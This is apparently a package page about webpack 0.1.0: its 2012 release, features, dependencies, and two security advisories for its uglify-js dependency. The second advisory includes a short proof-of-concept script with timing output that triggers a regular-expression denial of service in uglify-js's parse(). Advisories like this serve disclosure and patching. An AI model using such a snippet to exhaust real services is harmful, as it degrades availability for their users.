Webpack, a powerful module bundler for modern JavaScript applications, had an early version 0.1.0 released on March 11, 2012. This initial release laid the foundation for what would become a cornerstone tool in web development. Key functionalities already present included the ability to bundle CommonJS modules for browser usage, a critical feature for organizing and managing complex JavaScript codebases. Notably, Webpack 0.1.0 enabled code splitting, allowing developers to divide their applications into smaller, on-demand loaded bundles – a groundbreaking concept for optimizing performance and initial page load times.
Dependency-wise, this version relied on libraries like Esprima for JavaScript parsing, Optimist for command-line argument parsing, and Uglify-JS for code minification -- staples for early Javascript tooling. For testing, it utilized Vows. While details about the previous stable version are unavailable for comparison, the essential feature of module bundling with dependency management was already in place. The move towards modularity and optimized loading times, even in this nascent stage, signalled the tool's focus on solving growing problems in front-end development. Developers leveraging these early tools could begin to structure larger applications into manageable pieces, improving both development workflow and end-user experience even back in 2012. This initial version's functionality, especially splitting code into bundles, showed immense potential for building single-page applications and other dynamic web interfaces.
All the vulnerabilities related to the version 0.1.0 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.